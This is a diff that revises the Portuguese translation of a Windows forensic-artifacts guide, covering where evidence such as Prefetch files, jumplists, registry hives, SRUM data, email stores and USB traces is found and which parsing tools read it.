{% endhint %} @@ -21,51 +21,51 @@ Aprenda e pratique Hacking no GCP: \AppData\Local\Microsoft\Windows\Notifications`, você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o aniversário do Windows). +No caminho `\Users\\AppData\Local\Microsoft\Windows\Notifications` você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o aniversário do Windows). Dentro deste banco de dados SQLite, você pode encontrar a tabela `Notification` com todas as notificações (em formato XML) que podem conter dados interessantes. -### Linha do Tempo +### Timeline -A Linha do Tempo é uma característica do Windows que fornece um **histórico cronológico** de páginas da web visitadas, documentos editados e aplicativos executados. +Timeline é uma característica do Windows que fornece **histórico cronológico** de páginas da web visitadas, documentos editados e aplicativos executados. -O banco de dados reside no caminho `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Este banco de dados pode ser aberto com uma ferramenta SQLite ou com a ferramenta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que gera 2 arquivos que podem ser abertos com a ferramenta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +O banco de dados reside no caminho `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Este banco de dados pode ser aberto com uma ferramenta SQLite ou com a ferramenta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que gera 2 arquivos que podem ser abertos com a ferramenta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -### ADS (Streams de Dados Alternativos) +### ADS (Alternate Data Streams) -Arquivos baixados podem conter a **ADS Zone.Identifier** indicando **como** foi **baixado** da intranet, internet, etc. Alguns softwares (como navegadores) geralmente colocam ainda **mais** **informações** como a **URL** de onde o arquivo foi baixado. +Arquivos baixados podem conter o **ADS Zone.Identifier** indicando **como** foi **baixado** da intranet, internet, etc. Alguns softwares (como navegadores) geralmente colocam até **mais** **informações** como a **URL** de onde o arquivo foi baixado. -## **Backups de Arquivos** +## **File Backups** -### Lixeira +### Recycle Bin -No Vista/Win7/Win8/Win10, a **Lixeira** pode ser encontrada na pasta **`$Recycle.bin`** na raiz da unidade (`C:\$Recycle.bin`).\ +No Vista/Win7/Win8/Win10 a **Lixeira** pode ser encontrada na pasta **`$Recycle.bin`** na raiz da unidade (`C:\$Recycle.bin`).\ Quando um arquivo é excluído nesta pasta, 2 arquivos específicos são criados: -* `$I{id}`: Informações do arquivo (data em que foi excluído) +* `$I{id}`: Informações do arquivo (data de quando foi excluído) * `$R{id}`: Conteúdo do arquivo ![](<../../../.gitbook/assets/image (486).png>) -Com esses arquivos, você pode usar a ferramenta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obter o endereço original dos arquivos excluídos e a data em que foram excluídos (use `rifiuti-vista.exe` para Vista – Win10). +Tendo esses arquivos, você pode usar a ferramenta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obter o endereço original dos arquivos excluídos e a data em que foram excluídos (use `rifiuti-vista.exe` para Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) -### Cópias de Sombra do Volume +### Cópias de Sombra de Volume -Shadow Copy é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de segurança** ou instantâneos de arquivos ou volumes de computador, mesmo quando estão em uso. +Cópia de Sombra é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de backup** ou instantâneas de arquivos ou volumes de computador, mesmo quando estão em uso. -Essas cópias de segurança geralmente estão localizadas em `\System Volume Information` a partir da raiz do sistema de arquivos e o nome é composto por **UIDs** mostrados na seguinte imagem: +Esses backups geralmente estão localizados em `\System Volume Information` na raiz do sistema de arquivos e o nome é composto por **UIDs** mostrados na imagem a seguir: ![](<../../../.gitbook/assets/image (520).png>) -Montando a imagem forense com o **ArsenalImageMounter**, a ferramenta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) pode ser usada para inspecionar uma cópia de sombra e até **extrair os arquivos** das cópias de segurança da cópia de sombra. +Montando a imagem forense com o **ArsenalImageMounter**, a ferramenta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) pode ser usada para inspecionar uma cópia de sombra e até mesmo **extrair os arquivos** dos backups de cópia de sombra. ![](<../../../.gitbook/assets/image (521).png>) @@ -73,11 +73,11 @@ A entrada do registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Backu ![](<../../../.gitbook/assets/image (522).png>) -O registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` também contém informações de configuração sobre as `Cópias de Sombra do Volume`. +O registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` também contém informações de configuração sobre as `Cópias de Sombra de Volume`. ### Arquivos AutoSalvos do Office -Você pode encontrar os arquivos autos salvos do office em: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Você pode encontrar os arquivos auto-salvos do office em: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` ## Itens de Shell @@ -85,12 +85,12 @@ Um item de shell é um item que contém informações sobre como acessar outro a ### Documentos Recentes (LNK) -O Windows **automaticamente** **cria** esses **atalhos** quando o usuário **abre, usa ou cria um arquivo** em: +O Windows **cria automaticamente** esses **atalhos** quando o usuário **abre, usa ou cria um arquivo** em: * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -Quando uma pasta é criada, um link para a pasta, para a pasta pai e para a pasta avó também é criado. +Quando uma pasta é criada, um link para a pasta, para a pasta pai e a pasta avó também é criado. Esses arquivos de link criados automaticamente **contêm informações sobre a origem** como se é um **arquivo** **ou** uma **pasta**, **tempos MAC** desse arquivo, **informações de volume** de onde o arquivo está armazenado e **pasta do arquivo de destino**. Essas informações podem ser úteis para recuperar esses arquivos caso tenham sido removidos. @@ -98,7 +98,7 @@ Além disso, a **data de criação do link** é a primeira **vez** que o arquivo Para inspecionar esses arquivos, você pode usar [**LinkParser**](http://4discovery.com/our-tools/). -Nesta ferramenta, você encontrará **2 conjuntos** de carimbos de data/hora: +Nesta ferramenta, você encontrará **2 conjuntos** de timestamps: * **Primeiro Conjunto:** 1. FileModifiedDate @@ -109,45 +109,47 @@ Nesta ferramenta, você encontrará **2 conjuntos** de carimbos de data/hora: 2. LinkAccessDate 3. LinkCreationDate. -O primeiro conjunto de carimbos de data/hora refere-se aos **carimbos de data/hora do arquivo em si**. O segundo conjunto refere-se aos **carimbos de data/hora do arquivo vinculado**. +O primeiro conjunto de timestamps refere-se aos **timestamps do próprio arquivo**. O segundo conjunto refere-se aos **timestamps do arquivo vinculado**. -Você pode obter as mesmas informações executando a ferramenta de linha de comando do Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Você pode obter as mesmas informações executando a ferramenta CLI do Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` -### Listas de Saltos +Em este caso, as informações serão salvas dentro de um arquivo CSV. -Estes são os arquivos recentes indicados por aplicação. É a lista de **arquivos recentes usados por uma aplicação** que você pode acessar em cada aplicação. Eles podem ser criados **automaticamente ou personalizados**. +### Jumplists -As **listas de saltos** criadas automaticamente são armazenadas em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. As listas de saltos são nomeadas seguindo o formato `{id}.autmaticDestinations-ms` onde o ID inicial é o ID da aplicação. +Estes são os arquivos recentes que são indicados por aplicativo. É a lista de **arquivos recentes usados por um aplicativo** que você pode acessar em cada aplicativo. Eles podem ser criados **automaticamente ou ser personalizados**. -As listas de saltos personalizadas são armazenadas em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e são criadas pela aplicação geralmente porque algo **importante** aconteceu com o arquivo (talvez marcado como favorito). +Os **jumplists** criados automaticamente são armazenados em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Os jumplists são nomeados seguindo o formato `{id}.autmaticDestinations-ms`, onde o ID inicial é o ID do aplicativo. -O **tempo de criação** de qualquer lista de saltos indica **a primeira vez que o arquivo foi acessado** e o **tempo de modificação a última vez**. +Os jumplists personalizados são armazenados em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e são criados pelo aplicativo geralmente porque algo **importante** aconteceu com o arquivo (talvez marcado como favorito). -Você pode inspecionar as listas de saltos usando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +O **tempo de criação** de qualquer jumplist indica **a primeira vez que o arquivo foi acessado** e o **tempo modificado a última vez**. + +Você pode inspecionar os jumplists usando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../.gitbook/assets/image (474).png>) -(_Observe que os carimbos de data e hora fornecidos pelo JumplistExplorer estão relacionados ao arquivo de lista de saltos em si_) +(_Note que os timestamps fornecidos pelo JumplistExplorer estão relacionados ao arquivo jumplist em si_) ### Shellbags -[**Siga este link para aprender o que são as shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Siga este link para aprender o que são os shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Uso de Dispositivos USB do Windows +## Uso de USBs do Windows É possível identificar que um dispositivo USB foi usado graças à criação de: -* Pasta Recente do Windows -* Pasta Recente do Microsoft Office -* Listas de Saltos +* Pasta Recentes do Windows +* Pasta Recentes do Microsoft Office +* Jumplists -Observe que alguns arquivos LNK, em vez de apontar para o caminho original, apontam para a pasta WPDNSE: +Note que alguns arquivos LNK em vez de apontar para o caminho original, apontam para a pasta WPDNSE: ![](<../../../.gitbook/assets/image (476).png>) -Os arquivos na pasta WPDNSE são uma cópia dos originais, então não sobreviverão a uma reinicialização do PC e o GUID é retirado de uma shellbag. +Os arquivos na pasta WPDNSE são uma cópia dos originais, portanto não sobreviverão a uma reinicialização do PC e o GUID é retirado de um shellbag. ### Informações do Registro @@ -155,36 +157,36 @@ Os arquivos na pasta WPDNSE são uma cópia dos originais, então não sobrevive ### setupapi -Verifique o arquivo `C:\Windows\inf\setupapi.dev.log` para obter os carimbos de data e hora sobre quando a conexão USB foi produzida (procure por `Section start`). +Verifique o arquivo `C:\Windows\inf\setupapi.dev.log` para obter os timestamps sobre quando a conexão USB foi produzida (procure por `Section start`). ![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) -### Detetive USB +### USB Detective [**USBDetective**](https://usbdetective.com) pode ser usado para obter informações sobre os dispositivos USB que foram conectados a uma imagem. ![](<../../../.gitbook/assets/image (483).png>) -### Limpeza Plug and Play +### Limpeza de Plug and Play -A tarefa agendada conhecida como 'Limpeza Plug and Play' é projetada principalmente para a remoção de versões desatualizadas de drivers. Contrariamente ao seu propósito especificado de reter a versão mais recente do pacote de drivers, fontes online sugerem que também visa drivers inativos por 30 dias. Consequentemente, drivers para dispositivos removíveis não conectados nos últimos 30 dias podem estar sujeitos a exclusão. +A tarefa agendada conhecida como 'Limpeza de Plug and Play' é projetada principalmente para a remoção de versões de driver desatualizadas. Ao contrário de seu propósito especificado de reter a versão mais recente do pacote de driver, fontes online sugerem que ela também visa drivers que estiveram inativos por 30 dias. Consequentemente, drivers para dispositivos removíveis não conectados nos últimos 30 dias podem ser sujeitos à exclusão. A tarefa está localizada no seguinte caminho: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -Uma captura de tela que mostra o conteúdo da tarefa é fornecida: +Uma captura de tela mostrando o conteúdo da tarefa é fornecida: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Componentes Chave e Configurações da Tarefa:** -- **pnpclean.dll**: Esta DLL é responsável pelo processo real de limpeza. -- **UseUnifiedSchedulingEngine**: Definido como `TRUE`, indicando o uso do mecanismo genérico de agendamento de tarefas. +**Componentes e Configurações Principais da Tarefa:** +- **pnpclean.dll**: Este DLL é responsável pelo processo de limpeza real. +- **UseUnifiedSchedulingEngine**: Definido como `TRUE`, indicando o uso do mecanismo de agendamento de tarefas genérico. - **MaintenanceSettings**: -- **Período ('P1M')**: Direciona o Agendador de Tarefas para iniciar a tarefa de limpeza mensalmente durante a manutenção automática regular. -- **Prazo ('P2M')**: Instrui o Agendador de Tarefas, se a tarefa falhar por dois meses consecutivos, a executar a tarefa durante a manutenção automática de emergência. +- **Period ('P1M')**: Direciona o Agendador de Tarefas a iniciar a tarefa de limpeza mensalmente durante a manutenção automática regular. +- **Deadline ('P2M')**: Instruções ao Agendador de Tarefas, se a tarefa falhar por dois meses consecutivos, para executar a tarefa durante a manutenção automática de emergência. -Esta configuração garante a manutenção regular e a limpeza de drivers, com disposições para tentar novamente a tarefa em caso de falhas consecutivas. +Esta configuração garante manutenção e limpeza regulares dos drivers, com disposições para re-tentar a tarefa em caso de falhas consecutivas. -**Para mais informações, consulte:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Para mais informações, verifique:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) ## Emails @@ -193,24 +195,24 @@ Os emails contêm **2 partes interessantes: Os cabeçalhos e o conteúdo** do em * **Quem** enviou os emails (endereço de email, IP, servidores de email que redirecionaram o email) * **Quando** o email foi enviado -Além disso, nos cabeçalhos `References` e `In-Reply-To` você pode encontrar o ID das mensagens: +Além disso, dentro dos cabeçalhos `References` e `In-Reply-To` você pode encontrar o ID das mensagens: ![](<../../../.gitbook/assets/image (484).png>) ### Aplicativo de Email do Windows -Este aplicativo salva emails em HTML ou texto. Você pode encontrar os emails dentro de subpastas dentro de `\Users\\AppData\Local\Comms\Unistore\data\3\`. Os emails são salvos com a extensão `.dat`. +Este aplicativo salva emails em HTML ou texto. Você pode encontrar os emails dentro de subpastas em `\Users\\AppData\Local\Comms\Unistore\data\3\`. Os emails são salvos com a extensão `.dat`. Os **metadados** dos emails e os **contatos** podem ser encontrados dentro do **banco de dados EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Altere a extensão** do arquivo de `.vol` para `.edb` e você pode usar a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abri-lo. Dentro da tabela `Message` você pode ver os emails. +**Mude a extensão** do arquivo de `.vol` para `.edb` e você pode usar a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) para abri-lo. Dentro da tabela `Message` você pode ver os emails. ### Microsoft Outlook Quando servidores Exchange ou clientes Outlook são usados, haverá alguns cabeçalhos MAPI: * `Mapi-Client-Submit-Time`: Hora do sistema quando o email foi enviado -* `Mapi-Conversation-Index`: Número de mensagens filhas do tópico e carimbo de data e hora de cada mensagem do tópico +* `Mapi-Conversation-Index`: Número de mensagens filhas do thread e timestamp de cada mensagem do thread * `Mapi-Entry-ID`: Identificador da mensagem. * `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informações sobre o cliente MAPI (mensagem lida? não lida? respondida? redirecionada? fora do escritório?) @@ -224,58 +226,59 @@ O caminho do registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVer Você pode abrir o arquivo PST usando a ferramenta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../.gitbook/assets/image (485).png>) + ### Arquivos OST do Microsoft Outlook -Um **arquivo OST** é gerado pelo Microsoft Outlook quando configurado com um servidor **IMAP** ou **Exchange**, armazenando informações semelhantes a um arquivo PST. Este arquivo é sincronizado com o servidor, retendo dados dos **últimos 12 meses** até um **tamanho máximo de 50GB**, e está localizado no mesmo diretório do arquivo PST. Para visualizar um arquivo OST, o [**Visualizador OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html) pode ser utilizado. +Um **arquivo OST** é gerado pelo Microsoft Outlook quando está configurado com **IMAP** ou um servidor **Exchange**, armazenando informações semelhantes a um arquivo PST. Este arquivo é sincronizado com o servidor, retendo dados por **últimos 12 meses** até um **tamanho máximo de 50GB**, e está localizado no mesmo diretório que o arquivo PST. Para visualizar um arquivo OST, o [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) pode ser utilizado. ### Recuperando Anexos -Anexos perdidos podem ser recuperados de: +Anexos perdidos podem ser recuperáveis de: -- Para o **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- Para o **IE11 e acima**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Para **IE11 e acima**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` ### Arquivos MBOX do Thunderbird -O **Thunderbird** utiliza arquivos **MBOX** para armazenar dados, localizados em `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** utiliza **arquivos MBOX** para armazenar dados, localizados em `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -### Miniaturas de Imagens +### Miniaturas de Imagem -- **Windows XP e 8-8.1**: Acesso a uma pasta com miniaturas gera um arquivo `thumbs.db` armazenando pré-visualizações de imagens, mesmo após a exclusão. -- **Windows 7/10**: `thumbs.db` é criado ao ser acessado por uma rede via caminho UNC. -- **Windows Vista e versões mais recentes**: As pré-visualizações de miniaturas são centralizadas em `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` com arquivos nomeados **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) são ferramentas para visualizar esses arquivos. +- **Windows XP e 8-8.1**: Acessar uma pasta com miniaturas gera um arquivo `thumbs.db` armazenando pré-visualizações de imagem, mesmo após a exclusão. +- **Windows 7/10**: `thumbs.db` é criado quando acessado através de uma rede via caminho UNC. +- **Windows Vista e versões mais novas**: Pré-visualizações de miniaturas são centralizadas em `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` com arquivos nomeados **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) são ferramentas para visualizar esses arquivos. ### Informações do Registro do Windows -O Registro do Windows, armazenando extensos dados de atividades do sistema e do usuário, está contido em arquivos em: +O Registro do Windows, armazenando extensos dados de atividade do sistema e do usuário, está contido em arquivos em: - `%windir%\System32\Config` para várias subchaves `HKEY_LOCAL_MACHINE`. - `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`. -- O Windows Vista e versões posteriores fazem backup dos arquivos de registro `HKEY_LOCAL_MACHINE` em `%Windir%\System32\Config\RegBack\`. -- Além disso, informações de execução de programas são armazenadas em `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partir do Windows Vista e Windows 2008 Server em diante. +- Windows Vista e versões posteriores fazem backup dos arquivos de registro `HKEY_LOCAL_MACHINE` em `%Windir%\System32\Config\RegBack\`. +- Além disso, informações sobre a execução de programas são armazenadas em `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partir do Windows Vista e Windows 2008 Server. ### Ferramentas Algumas ferramentas são úteis para analisar os arquivos de registro: * **Editor de Registro**: Está instalado no Windows. É uma GUI para navegar pelo registro do Windows da sessão atual. -* [**Explorador de Registro**](https://ericzimmerman.github.io/#!index.md): Permite carregar o arquivo de registro e navegar por eles com uma GUI. Também contém Marcadores destacando chaves com informações interessantes. +* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Permite carregar o arquivo de registro e navegar por ele com uma GUI. Também contém Favoritos destacando chaves com informações interessantes. * [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Novamente, possui uma GUI que permite navegar pelo registro carregado e também contém plugins que destacam informações interessantes dentro do registro carregado. -* [**Recuperação de Registro do Windows**](https://www.mitec.cz/wrr.html): Outra aplicação GUI capaz de extrair informações importantes do registro carregado. +* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Outro aplicativo GUI capaz de extrair informações importantes do registro carregado. -### Recuperando Elemento Deletado +### Recuperando Elemento Excluído -Quando uma chave é deletada, ela é marcada como tal, mas até que o espaço que ela ocupa seja necessário, ela não será removida. Portanto, usando ferramentas como o **Explorador de Registro**, é possível recuperar essas chaves deletadas. +Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que está ocupando seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas. -### Última Hora de Escrita +### Último Tempo de Escrita -Cada Chave-Valor contém um **timestamp** indicando a última vez que foi modificada. +Cada Par-Chave contém um **timestamp** indicando a última vez que foi modificado. ### SAM -O arquivo/hive **SAM** contém os **hashes de senhas de usuários, grupos e usuários** do sistema. +O arquivo/hive **SAM** contém os **usuários, grupos e hashes de senhas dos usuários** do sistema. -Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, último login, último login falhado, contador de login, política de senha e quando a conta foi criada. Para obter os **hashes** você também **precisa** do arquivo/hive **SYSTEM**. +Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, último login, último logon falhado, contador de logins, política de senhas e quando a conta foi criada. Para obter os **hashes**, você também **precisa** do arquivo/hive **SYSTEM**. ### Entradas Interessantes no Registro do Windows @@ -287,25 +290,25 @@ Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, últi ### Processos Básicos do Windows -Neste [post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos. +Em [este post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos. ### Aplicativos Recentes do Windows -Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps` você pode encontrar subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado e **número de vezes** que foi iniciado. +Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps` você pode subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado, e **número de vezes** que foi lançado. ### BAM (Moderador de Atividade em Segundo Plano) -Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar informações sobre os **aplicativos executados por cada usuário** (observe o `{SID}` no caminho) e em **que horário** foram executados (o horário está dentro do valor de dados do registro). +Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar informações sobre os **aplicativos executados por cada usuário** (note o `{SID}` no caminho) e **a que horas** foram executados (a hora está dentro do valor de Dados do registro). ### Prefetch do Windows -O Prefetch é uma técnica que permite a um computador **buscar silenciosamente os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo** para que os recursos possam ser acessados mais rapidamente. +Prefetching é uma técnica que permite que um computador silenciosamente **busque os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo**, para que os recursos possam ser acessados mais rapidamente. -O prefetch do Windows consiste em criar **caches dos programas executados** para poder carregá-los mais rapidamente. Esses caches são criados como arquivos `.pf` no caminho: `C:\Windows\Prefetch`. Há um limite de 128 arquivos no XP/VISTA/WIN7 e 1024 arquivos no Win8/Win10. +O prefetch do Windows consiste em criar **caches dos programas executados** para poder carregá-los mais rápido. Esses caches são criados como arquivos `.pf` dentro do caminho: `C:\Windows\Prefetch`. Há um limite de 128 arquivos em XP/VISTA/WIN7 e 1024 arquivos em Win8/Win10. -O nome do arquivo é criado como `{nome_do_programa}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10, esses arquivos são comprimidos. Observe que a simples presença do arquivo indica que **o programa foi executado** em algum momento. +O nome do arquivo é criado como `{program_name}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10, esses arquivos são comprimidos. Note que a mera presença do arquivo indica que **o programa foi executado** em algum momento. -O arquivo `C:\Windows\Prefetch\Layout.ini` contém os **nomes das pastas dos arquivos que são prefetchados**. Este arquivo contém **informações sobre o número de execuções**, **datas** da execução e **arquivos** **abertos** pelo programa. +O arquivo `C:\Windows\Prefetch\Layout.ini` contém os **nomes das pastas dos arquivos que são pré-carregados**. Este arquivo contém **informações sobre o número de execuções**, **datas** da execução e **arquivos** **abertos** pelo programa. Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash @@ -315,16 +318,16 @@ Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](ht ### Superprefetch -**Superprefetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** ao prever o que será carregado em seguida. No entanto, não substitui o serviço de prefetch.\ -Este serviço irá gerar arquivos de banco de dados em `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** prevendo o que será carregado a seguir. No entanto, não substitui o serviço de prefetch.\ +Este serviço gerará arquivos de banco de dados em `C:\Windows\Prefetch\Ag*.db`. -Nesses bancos de dados, você pode encontrar o **nome** do **programa**, **número** de **execuções**, **arquivos** **abertos**, **volume** **acessado**, **caminho** **completo**, **intervalos de tempo** e **timestamps**. +Nestes bancos de dados, você pode encontrar o **nome** do **programa**, **número** de **execuções**, **arquivos** **abertos**, **volume** **acessado**, **caminho** **completo**, **períodos** e **timestamps**. Você pode acessar essas informações usando a ferramenta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitora** os **recursos** **consumidos** **por um processo**. Ele apareceu no W8 e armazena os dados em um banco de dados ESE localizado em `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **monitora** os **recursos** **consumidos** **por um processo**. Apareceu no W8 e armazena os dados em um banco de dados ESE localizado em `C:\Windows\System32\sru\SRUDB.dat`. Ele fornece as seguintes informações: @@ -338,42 +341,42 @@ Ele fornece as seguintes informações: Essas informações são atualizadas a cada 60 minutos. -Você pode obter os dados deste arquivo usando a ferramenta [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). +Você pode obter a data deste arquivo usando a ferramenta [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` ### AppCompatCache (ShimCache) -O **AppCompatCache**, também conhecido como **ShimCache**, faz parte do **Banco de Dados de Compatibilidade de Aplicativos** desenvolvido pela **Microsoft** para lidar com problemas de compatibilidade de aplicativos. Este componente do sistema registra várias informações de metadados de arquivos, que incluem: +O **AppCompatCache**, também conhecido como **ShimCache**, faz parte do **Banco de Dados de Compatibilidade de Aplicações** desenvolvido pela **Microsoft** para lidar com problemas de compatibilidade de aplicações. Este componente do sistema registra várias peças de metadados de arquivos, que incluem: - Caminho completo do arquivo - Tamanho do arquivo -- Última hora modificada sob **$Standard\_Information** (SI) -- Última hora de atualização do ShimCache +- Hora da Última Modificação sob **$Standard\_Information** (SI) +- Hora da Última Atualização do ShimCache - Sinalizador de Execução do Processo Esses dados são armazenados no registro em locais específicos com base na versão do sistema operacional: -- Para o XP, os dados são armazenados em `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` com capacidade para 96 entradas. -- Para o Server 2003, bem como para as versões do Windows 2008, 2012, 2016, 7, 8 e 10, o caminho de armazenamento é `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 e 1024 entradas, respectivamente. +- Para XP, os dados são armazenados em `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` com capacidade para 96 entradas. +- Para Server 2003, bem como para as versões do Windows 2008, 2012, 2016, 7, 8 e 10, o caminho de armazenamento é `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 e 1024 entradas, respectivamente. -Para analisar as informações armazenadas, é recomendado usar a ferramenta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). +Para analisar as informações armazenadas, a ferramenta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) é recomendada para uso. ![](<../../../.gitbook/assets/image (488).png>) ### Amcache -O arquivo **Amcache.hve** é essencialmente um registro que registra detalhes sobre aplicativos que foram executados em um sistema. Geralmente é encontrado em `C:\Windows\AppCompat\Programas\Amcache.hve`. +O arquivo **Amcache.hve** é essencialmente um hive de registro que registra detalhes sobre aplicações que foram executadas em um sistema. Ele é tipicamente encontrado em `C:\Windows\AppCompat\Programas\Amcache.hve`. -Este arquivo é notável por armazenar registros de processos executados recentemente, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Essas informações são inestimáveis para rastrear a atividade de aplicativos em um sistema. +Este arquivo é notável por armazenar registros de processos executados recentemente, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Esta informação é inestimável para rastrear a atividade de aplicações em um sistema. -Para 